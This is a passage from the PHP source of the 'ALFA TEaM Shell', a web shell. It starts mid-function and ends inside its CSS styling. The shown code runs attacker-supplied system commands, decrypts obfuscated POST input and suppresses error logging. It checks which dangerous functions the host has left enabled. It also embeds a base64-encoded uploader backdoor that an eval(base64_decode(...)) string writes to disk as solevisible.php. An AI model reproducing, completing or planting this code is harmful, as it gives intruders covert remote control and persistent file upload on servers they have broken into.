if(strtolower(substr(PHP_OS,0,3))=="win")$separator='&';else $separator=';';
$solevisible = "cd '".addslashes(str_replace("\\","/",@alfaGetCwd()))."'".$separator."".__ZGVjb2Rlcg($_POST['command_solevisible']);
echo alfaEx($solevisible);
}
echo'</pre>
</body></html>';
exit;}
@error_reporting(E_ALL ^ E_NOTICE);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('magic_quotes_runtime', 0);
@set_time_limit(0);
if(function_exists('set_magic_quotes_runtime')){
@set_magic_quotes_runtime(0);
}
foreach($_POST as $key => $value){
if(is_array($_POST[$key])){
$i=0;
foreach($_POST[$key] as $f) {
$f = trim(str_replace(' ', '+',$f));
$_POST[$key][$i] = decrypt_post($f);
$i++;
}
}else{
$value = trim(str_replace(' ', '+',$value));
$_POST[$key] = decrypt_post($value);
}
}
$default_action = 'FilesMan2';//'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(strtolower(substr(PHP_OS,0,3))=="win")
$GLOBALS['sys']='win';
else
$GLOBALS['sys']='unix';
$GLOBALS['home_cwd'] = @alfaGetCwd();
$GLOBALS["need_to_update_header"] = "false";
$GLOBALS['glob_chdir_false'] = false;
if(isset($_POST['c'])){
if(!@chdir($_POST['c'])){
	$GLOBALS['glob_chdir_false'] = true;
}
}
$GLOBALS['cwd'] = (isset($_POST['c']) && @is_dir($_POST['c']) ?$_POST['c']:@alfaGetCwd());
if($GLOBALS['glob_chdir_false']){
	$GLOBALS['cwd'] = (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : @alfaGetCwd());
}
if($GLOBALS['sys'] == 'win'){
$GLOBALS['home_cwd'] = str_replace("\\", "/", $GLOBALS['home_cwd']);
$GLOBALS['cwd'] = str_replace("\\", "/", $GLOBALS['cwd']);
}
if($GLOBALS['cwd'][strlen($GLOBALS['cwd'])-1] != '/' )$GLOBALS['cwd'] .= '/';
if(!function_exists('sys_get_temp_dir')){function sys_get_temp_dir() {foreach (array('TMP', 'TEMP', 'TMPDIR') as $env_var) {if ($temp = getenv($env_var)) {return $temp;}}$temp = tempnam($GLOBALS['__file_path'], '');if (_alfa_file_exists($temp,false)) {unlink($temp);return dirname($temp);}return null;}}
if(!function_exists("mb_strlen")){
	function mb_strlen($str, $c=""){
		return strlen($str);
	}
}
if(!function_exists("mb_substr")){
	function mb_substr($str, $start, $end, $c=""){
		return substr($str, $start, $end);
	}
}
define("ALFA_TEMPDIR", (function_exists("sys_get_temp_dir") ? (@is_writable(str_replace('\\','/',sys_get_temp_dir()))?sys_get_temp_dir():(@is_writable('.')?'.':false)) : false));
function alfahead(){
$GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+';
$alfa_uploader = '$x = base64_decode("'.$GLOBALS['__ALFA_SHELL_CODE'].'");$solevisible = fopen("solevisible.php","w");fwrite($solevisible,$x);';
define("ALFA_UPLOADER", "eval(base64_decode('".__ZW5jb2Rlcg($alfa_uploader)."'))");
if(!isset($_POST['ajax'])){
function Alfa_GetDisable_Function(){
$disfun = @ini_get('disable_functions');
$afa = '<span class="header_show_all">All Functions Accessible</span>';
if(empty($disfun))return($afa);
$s = explode(',',$disfun);
$s = array_unique($s);
$i=0;
$b=0;
$func = array('system','exec','shell_exec','proc_open','popen','passthru','symlink','dl');
$black_list = array();
$allow_list = array();
foreach($s as $d){
	$d=trim($d);
	if(empty($d)||!is_callable($d))continue;
	if(!function_exists($d)){
		if(in_array($d,$func)){
			$dis .= $d." | ";$b++;
			$black_list[] = $d;
		}else{
			$allow_list[] = $d;
		}
		$i++;
	}
}
if($i==0)return($afa);
if($i <= count($func)){
$all = array_values(array_merge($black_list, $allow_list));
return('<span class="disable_functions">'.implode(" | ", $all).'</span>');
}
return('<span class="disable_functions">'.$dis.'</span><a id="menu_opt_GetDisFunc" href=javascript:void(0) onclick="alfa_can_add_opt = true;g(\'GetDisFunc\',null,\'wp\');"><span class="header_show_all">Show All ('.$i.')</span></a>');
}
function AlfaNum(){
$args = func_get_args();
$alfax = array();
$find = array();
for($i=1;$i<=10;$i++){
$alfax[] = $i;
}
foreach($args as $arg){
$find[] = $arg;
}
echo '<script>';
foreach($alfax as $alfa){
if(in_array($alfa,$find))
continue;
echo 'alfa'.$alfa."_=";
}
echo '""</script>';
}
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
$freeSpace = function_exists('diskfreespace')?@diskfreespace($GLOBALS['cwd']):'?';
$totalSpace = function_exists('disk_total_space')?@disk_total_space($GLOBALS['cwd']):'?';
$totalSpace = $totalSpace?$totalSpace:1;
$on="<span class='header_on'> ON </span>";
$of="<span class='header_off'> OFF </span>";
$none="<span class='header_none'> NONE </span>";
if(function_exists('ssh2_connect'))
$ssh2=$on;
else
$ssh2=$of;
if(function_exists('curl_version'))
$curl=$on;
else
$curl=$of;
if(function_exists('mysql_get_client_info')||class_exists('mysqli'))
$mysql=$on;
else
$mysql=$of;
if(function_exists('mssql_connect'))
$mssql=$on;
else
$mssql=$of;
if(function_exists('pg_connect'))
$pg=$on;
else
$pg=$of;
if(function_exists('oci_connect'))
$or=$on;
else
$or=$of;
if(@ini_get('disable_functions'))
$disfun=@ini_get('disable_functions');
else
$disfun="All Functions Enable";
if(@ini_get('safe_mode'))
$safe_modes="<span class='header_off'>ON</span>";
else
$safe_modes="<span class='header_on'>OFF</span>";
$cgi_shell="<span class='header_off' id='header_cgishell'>OFF</span>";
if(@ini_get('open_basedir')){
$basedir_data = @ini_get('open_basedir');
if(strlen($basedir_data)>120){
$open_b=substr($basedir_data,0, 120)."...";
}else{
$open_b = $basedir_data;
}
}else{$open_b=$none;}
if(@ini_get('safe_mode_exec_dir'))
$safe_exe=@ini_get('safe_mode_exec_dir');
else
$safe_exe=$none;
if(@ini_get('safe_mode_include_dir'))
$safe_include=@ini_get('safe_mode_include_dir');
else
$safe_include=$none;
if(!function_exists('posix_getegid'))
{
$user = function_exists("get_current_user")?@get_current_user():"????";
$uid = function_exists("getmyuid")?@getmyuid():"????";
$gid = function_exists("getmygid")?@getmygid():"????";
$group = "?";
}else{
$uid = function_exists("posix_getpwuid")&&function_exists("posix_geteuid")?@posix_getpwuid(posix_geteuid()):array("name"=>"????", "uid"=>"????");
$gid = function_exists("posix_getgrgid")&&function_exists("posix_getegid")?@posix_getgrgid(posix_getegid()):array("name"=>"????", "gid"=>"????");
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a class='header_pwd' onclick='g(\"FilesMan\",\"";
$cach_cwd_path = "";
for($j=0; $j<=$i; $j++){
$cwd_links .= $path[$j].'/';
$cach_cwd_path .= $path[$j].'/';
}
$cwd_links .= "\")' path='".$cach_cwd_path."' href='#action=fileman&path=".$cach_cwd_path."'>".$path[$i]."/</a>";
}
$drives = "";
foreach(range('a','z') as $drive)
if(@is_dir($drive.':\\'))
$drives .= '<a href="javascript:void(0);" class="header_drive" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
$csscode ='	-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;';
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
<link href="'.__showicon('alfamini').'" rel="icon" type="image/x-icon"/>
<title>..:: '.$_SERVER['HTTP_HOST'].' ~ ALFA TEaM Shell - v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ::..</title>
<style type="text/css">';?>
.hlabale{color:#67abdf;border-radius:4px;border:1px solid #27979b;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}#PhpCode,.php-evals-ace,.view_ml_content{position:absolute;top:0;right:0;bottom:0;left:0;background:#1b292b26;top:50px}.editor-view{position:relative;height:100%}.view-content{position:absolute;overflow-y:auto;width:100%;height:93%}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}.opt-title{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);color:#2fd051;font-size:25px;font-family:monospace}.options_min_badge{visibility:hidden;text-align:center;right:30px;color:#fff;background:#2a8a24;padding:6px;border-radius:50%;width:15px;height:15px;display:inline-block;position:absolute;top:-7px}#cgiloader-minimized,#database_window-minimized,#editor-minimized,#options_window-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%;z-index:9999}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:130px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:wheat;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:-10px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:after,.close-button:before,.editor-minimize:before{transform:rotate(-45deg);content:"";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:after,.close-button:hover:before,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,.96)}#cgiloader,#database_window,#editor,#options_window{display:none;position:fixed;top:0;width:100%;height:100%;z-index:20}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder>.history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color .6s ease-out}.file-holder>.history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity .6s ease-out;font-size:15px;height:19px}.file-holder>.history:hover{background-color:#646464}.editor-explorer>.hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px;height:100%}.editor-anim-close{-webkit-animation:editorClose .8s ease-in-out forwards;-moz-animation:editorClose .8s ease-in-out forwards;-ms-animation:editorClose .8s ease-in-out forwards;animation:editorClose .8s ease-in-out forwards}@keyframes editorClose{0%{visibility:1;opacity:1}100%{visibility:0;opacity:0}}.editor-anim-minimize{-webkit-animation:editorMinimize .8s ease-in-out forwards;-moz-animation:editorMinimize .8s ease-in-out forwards;-ms-animation:editorMinimize .8s ease-in-out forwards;animation:editorMinimize .8s ease-in-out forwards}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{-webkit-animation:editorShow .8s ease-in-out forwards;-moz-animation:editorShow .8s ease-in-out forwards;-ms-animation:editorShow .8s ease-in-out forwards;animation:editorShow .8s ease-in-out forwards}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{-webkit-animation:minimizeShow .8s ease-in-out forwards;-moz-animation:minimizeShow .8s ease-in-out forwards;-ms-animation:minimizeShow .8s ease-in-out forwards;animation:minimizeShow .8s ease-in-out forwards}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{-webkit-animation:minimizeHide .8s ease-in-out forwards;-moz-animation:minimizeHide .8s ease-in-out forwards;-ms-animation:minimizeHide .8s ease-in-out forwards;animation:minimizeHide .8s ease-in-out forwards}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0f0;-moz-text-shadow:0 0 25px #0f0;-ms-text-shadow:0 0 25px #0f0;text-shadow:0 0 25px #0f0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,.72);width:100%;height:100%}.update-content{position:relative}.update-content>a{text-decoration:none;position:absolute;color:rgba(103,167,47,.77);left:24%;margin-top:7%;font-size:40px}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67abdf;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px}.editor-path{top:3px}}.filters-holder{padding:5px;padding-left:10px}.filters-holder input{width:200px}.filters-holder span{color:#8bc7f7}#rightclick_menu{width:175px;visibility:hidden;opacity:0;position:fixed;background:#0f304a;color:#555;font-family:sans-serif;font-size:11px;-webkit-transition:opacity .5s ease-in-out;-moz-transition:opacity .5s ease-in-out;-ms-transition:opacity .5s ease-in-out;-o-transition:opacity .5s ease-in-out;transition:opacity .5s ease-in-out;-webkit-box-shadow:-1px 0 17px 0 #8b8b8c;-moz-box-shadow:-1px 0 17px 0 #8b8b8c;box-shadow:-1px 0 17px 0 #8b8b8c;padding:0;border:1px solid #737373;border-radius:10px}#rightclick_menu a{display:block;color:#fff;font-weight:bolder;text-decoration:none;padding:6px 8px 6px 30px;position:relative;padding-left:40px}#rightclick_menu a i.fa,#rightclick_menu a img{height:20px;font-size:17px;width:20px;position:absolute;left:5px;top:2px;padding-left:5px}#rightclick_menu a span{color:#bcb1b3;float:right}#rightclick_menu a:hover{color:#fff;background:#3879d9}#rightclick_menu hr{border:1px solid #ebebeb;border-bottom:0}.cl-popup-fixed{position:fixed;top:0;left:0;width:100%;height:100%;background:#201e1ead}#shortcutMenu-holder{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);background:#1f1e1edb;height:190px;width:500px;color:#fff}#shortcutMenu-holder>.popup-head{background:#207174;padding:6px;border-top:10px;text-align:center;font-family:sans-serif;color:#fff}#shortcutMenu-holder>form{padding:10px}#shortcutMenu-holder>form>label{display:block}#shortcutMenu-holder>form>input{width:99%;height:24px;margin-top:4px;color:#fff;outline:0;font-size:16px}#shortcutMenu-holder>.popup-foot{float:right;height:30px;margin-right:8px}#shortcutMenu-holder>.popup-foot>button{height:100%;cursor:pointer;color:#fff;outline:0}.php-terminal-output{overflow:auto;height:86%;border:1px solid #1e5673;border-radius:10px}.cmd-history-holder{visibility:hidden;opacity:0;position:absolute;color:#dff3d5;background:#093d58;top:-300px;height:300px;width:calc(69% + -11px);border-radius:10px 10px 0 0;left:calc(2% - 9px);transition:visibility .5s,opacity .5s linear}.cmd-history-holder .commands-history-header{background:#37504e;text-align:center;border-radius:10px 10px 0 0}.cmd-history-icon{width:27px;top:6px;left:calc(69% + 5px);position:absolute;cursor:pointer}.history-cmd-line{padding:4px;border-bottom:1px dashed;cursor:pointer}.history-cmd-line:hover{background:#961111}#myUL,#myUL ul{list-style-type:none}#myUL{margin:0;padding:0}.box{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.box::before{content:"\2610";color:#000;display:inline-block;margin-right:6px}.check-box::before{content:"\2611";color:#1e90ff}.nested{display:none}.active{display:block}.flag-holder>img{width:20px;vertical-align:middle;padding-left:6px}#options_window .content_options_holder .options_holder{position:relative;display:none;overflow:auto;min-height:300px;max-height:calc(100vh - 100px)}#options_window .content_options_holder .options_holder .header{min-height:50vh}#options_window .content_options_holder .options_holder.option_is_active{display:block}#options_window .content_options_holder .options_tab{padding:5px;margin-left:14px;margin-right:30px;background:#000;border-bottom:7px solid #0f304a;border-left:7px solid #0f304a;border-right:7px solid #0f304a;overflow-x:auto;white-space:nowrap}#filesman_tabs .filesman_tab img,#options_window .content_options_holder .options_tab .tab_name img,.editor-tab-name img,.sql-tabs .sql-tabname img,.terminal-tabs .terminal-tab img{width:10px;vertical-align:middle;margin-left:5px}#filesman_tabs .filesman_tab,#options_window .content_options_holder .options_tab .tab_name,.editor-tab-name,.sql-tabs .sql-newtab,.sql-tabs .sql-tabname,.terminal-tabs .terminal-tab{display:inline-block;background-color:#133d51;border-radius:4px;padding:5px;color:#fff;margin-right:3px;padding:5px;cursor:pointer;margin-bottom:1px;transition:background-color .5s}#filesman_tabs .filesman_tab{min-width:55px;text-align:center}#filesman_tabs .filesman_tab:hover,#options_window .content_options_holder .options_tab .tab_name:hover,.editor-tab-name:hover,.sql-tabs .sql-tabname:hover,.terminal-tabs .terminal-tab:hover{background-color:#a23939}.editor-tabs,.sql-tabs,.terminal-tabs{padding:5px;overflow-x:auto;white-space:nowrap}.options-loader-holder{position:absolute;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:11}.options-loader-holder img{position:absolute;top:32%;left:45%;transform:translate(-50%,-50%);width:100px;animation:spin 2s infinite}#filesman_tabs .filesman_tab.filesman-tab-active,#options_window .content_options_holder .options_tab .tab_name.tab_is_active,.editor-tab-name.editor-tab-active,.sql-tabname.sql-active-tab,.terminal-tab.active-terminal-tab{background-color:#009688}.tab-is-done{animation:2s tab_change_color infinite step-end}.stopAjax{color:#fff;font-size:20px;display:inline-block;padding:10px;cursor:pointer}#a_loader{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:99}.fmanager-row>td{position:relative}.fmanager-row .symlink_path{position:fixed;max-width:100%;background-color:#0f304a;border-radius:10px;font-size:15px;padding:8px;color:#fdf4f4;border:1px solid #8a8a8a;z-index:1;pointer-events:none}.archive-icons{vertical-align:middle}.archive-type-dir{font-weight:bolder}.archive-type-file{font-weight:unset}.archive-name{cursor:pointer}.archive_dir_holder a{color:#0f0;font-weight:bolder;cursor:pointer}.archive_dir_holder a:hover{color:#fff}.editor-content{height:100%}.editor-content-holder{height:90%}.editor-contents{display:none;position:relative;height:100%}.editor-contents.editor-content-active{display:block}.history-panel-controller{position:absolute;color:#fff;padding:10px;z-index:1000;border-radius:10px;top:50%;left:19%;background-color:#009687;cursor:pointer}.sql-content{display:none;position:relative;min-height:300px}.sql-content.sql-active-content{display:block}.pages-holder{padding:7px}.pages-number{display:inline-block;margin-left:10px}.pages-holder .pages-number a.page-number{padding:5px;background:#0f304a;margin-right:8px;cursor:pointer;width:33px;display:inline-block;text-align:center;border-radius:5px;color:#fff;transition:background .5s}.active-page-number{background:#10925c!important}.pages-number a.page-number:hover{background:#8a8a8a}.terminal-content{height:100%}.terminal-content,.terminal-tab{display:none}.terminal-content.active-terminal-content{display:block;position:relative}.terminal-btn-fontctl{background:#009688;width:50px;color:#fff;font-weight:bolder;outline:0;cursor:pointer}.alert-area{max-height:100%;position:fixed;bottom:5px;left:20px;right:20px;z-index:9999}.alert-box{font-size:16px;color:#fff;background:rgba(0,0,0,.9);line-height:1.3em;padding:10px 15px;margin:5px 10px;position:relative;border-radius:5px;transition:opacity .5s ease-in;-webkit-animation:alert-shake .5s ease-in-out;animation:alert-shake .5s ease-in-out}.alert-content-title{font-weight:700}.alert-box.alert-success{background:rgba(56,127,56,.89)}.alert-error{background:rgba(191,54,54,.89)}.alert-box.hide{opacity:0}.alert-close{background:0 0;width:12px;height:12px;position:absolute;top:15px;right:15px}.alert-close:after,.alert-close:before{content:"";width:15px;border-top:solid 2px #fff;position:absolute;top:5px;right:-1px;display:block}.alert-close:before{transform:rotate(45deg)}.alert-close:after{transform:rotate(135deg)}.alert-close:hover:after,.alert-close:hover:before{border-top:solid 2px #d8d8d8}@media (max-width:767px) and (min-width:481px){.alert-area{left:100px;right:100px}}@media (min-width:768px){.alert-area{width:350px;left:auto;right:0;z-index:9999}}@keyframes tab_change_color{0%{background-color:#133d51}50%{background-color:green}}@-webkit-keyframes alert-shake{0%{-webkit-transform:translateX(0)}20%{-webkit-transform:translateX(-10px)}40%{-webkit-transform:translateX(10px)}60%{-webkit-transform:translateX(-10px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@keyframes alert-shake{0%{transform:translateX(0)}20%{transform:translateX(-10px)}40%{transform:translateX(10px)}60%{transform:translateX(-10px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.textEffect{position:absolute;width:500px;top:-10px;animation:alert-shake .5s ease-in-out;animation-iteration-count:2}.alfateam-loader-text{position:absolute;color:#46bb45;top:23%;left:49%;transform:translate(-50%,-50%);font-size:40px;letter-spacing:7px}.alfa-ajax-error{position:absolute;color:#ff0a0a;top:50%;left:50%;transform:translate(-50%,-50%);font-size:30px}.connection-hist-table{margin-left:auto;margin-right:auto;text-align:justify;border-collapse:collapse}.connection-hist-table td,.connection-hist-table th{border:1px solid #ddd;text-align:left;padding:8px}.connection-his-btn{margin-bottom:10px;padding:5px;background:#206920;color:#fff;border:none;outline:0;cursor:pointer;font-weight:700;transition:background .3s}.connection-his-btn.connection-delete{margin:unset;padding:5px;background:red;width:33px;border-radius:3px;transition:background .3s}.connection-delete:hover{background:#f56969!important}.connection-his-btn:hover{background:#30b330}#up_bar_holder{position:fixed;z-index:100000;width:100%}#filesman_tabs{padding:8px;border:1px solid #0e304a;color:#67abdf;overflow-x:auto;white-space:nowrap}.sortable-ghost{opacity:.5;background:#c8ebfb}.folder-tab-icon{width:16px!important}#filesman-tab-full-path{display:none;position:absolute;pointer-events:none;background:#163746;padding:7px;color:#0f0;border-radius:10px;min-width:58px;z-index:10}#filesman-tab-full-path::after{content:"";position:absolute;top:100%;left:35px;margin-left:-5px;border-width:5px;border-style:solid;pointer-events:none;border-color:#163746 transparent transparent transparent}.mysql-main{height:84vh;position:relative}.mysql-hide-content{display:none}.mysql-query-result-tabs{margin-bottom:10px;padding:3px;border-bottom:4px solid #0f304a}.mysql-main .tables-panel-ctl{position:absolute;color:#fff;padding:10px;z-index:1;border-radius:10px;top:45%;left:calc(17% + 10px);background-color:#009687;cursor:pointer}.tables-panel-ctl-min{left:-21px!important}.mysql-query-result-tabs div{display:inline-block;padding:5px;margin-right:2px;background:#133d51;color:#fff;cursor:pointer;transition:background-color .5s}.mysql-query-result-tabs div:hover{background-color:#a23939}.mysql-query-result-tabs div.mysql-query-selected-tab{background:red}table tr.tbl_row:nth-child(odd){background:#424040}.mysql-tables .tables-row{margin-left:26px}.mysql-main .mysql-query-results,.mysql-main .mysql-tables{float:left;height:100%;overflow:auto}.mysql-main .mysql-query-results{width:calc(80% + 4px);margin-left:5px;position:relative;overflow:unset}.mysql-main .mysql-query-results-fixed{width:100%}.mysql-main .mysql-query-results .mysql-query-content{height:89%;overflow:auto}.mysql-query-tab-hide{height:0!important;padding:0!important}.mysql-main .mysql-tables{width:19%;border-right:4px solid #0e304a}.mysql-main table td{vertical-align:top}.mysql-main .mysql-search-area table td{vertical-align:middle;padding:7px}.mysql-tables .block{position:relative;width:1.5em;height:1.5em;min-width:16px;min-height:16px;float:left}.mysql-tables div.block b,.mysql-tables div.block i{width:1.5em;height:1.7em;min-width:16px;min-height:8px;position:absolute;bottom:.7em;left:.75em;z-index:0}.mysql-tables .block i{display:block;border-left:1px solid #666;border-bottom:1px solid #666;position:relative;z-index:0}.mysql-tables .block b{display:block;height:.75em;bottom:0;left:.75em;border-left:1px solid #666}.mysql-tables div.block a,.mysql-tables div.block u{position:absolute;left:50%;top:50%;z-index:10}.mysql-tables div.block img{position:relative;top:-.6em;left:0;margin-left:-7px}.mysql-tables .clearfloat{clear:both}.mysql-tables ul{list-style-type:none;margin-left:0;padding:0}.mysql-tables ul li{white-space:nowrap;clear:both;min-height:16px}.mysql-tables .db_name{margin-left:10px}.mysql-tables .list_container{border-left:1px solid #666;margin-left:.75em;padding-left:.75em}.hide-db-tables{display:none}.mysql-main:after{content:"";display:table;clear:both}table.mysql-data-tbl{border:none!important;border-collapse:collapse!important}table.mysql-data-tbl tr th{padding:5px}table.mysql-data-tbl td{border-left:3px solid #305a8d;border-right:3px solid #305a8d;padding:6px}table.mysql-data-tbl td:first-child{border-left:none}table.mysql-data-tbl td:last-child{border-right:none}.mysql-insert-result,.mysql-structure-qres,.mysql-update-result{display:none;text-align:center;padding:10px;border:1px dashed;margin:22px}#alfa-copyright{margin-top:15px}.ic_b_plus{background-image:url(http://solevisible.com/icons/menu/b_plus.png)}.ic_b_minus{background-image:url(http://solevisible.com/icons/menu/b_minus.png)}
<?php echo '
@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}
@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}
@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}
@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}
#alfaloader{'.$csscode.'width:100px;height:100px;}
#a_loader img{'.$csscode.'width:150px;height:150px;position:fixed;z-index:999999;top: 31%;left: 45%;}
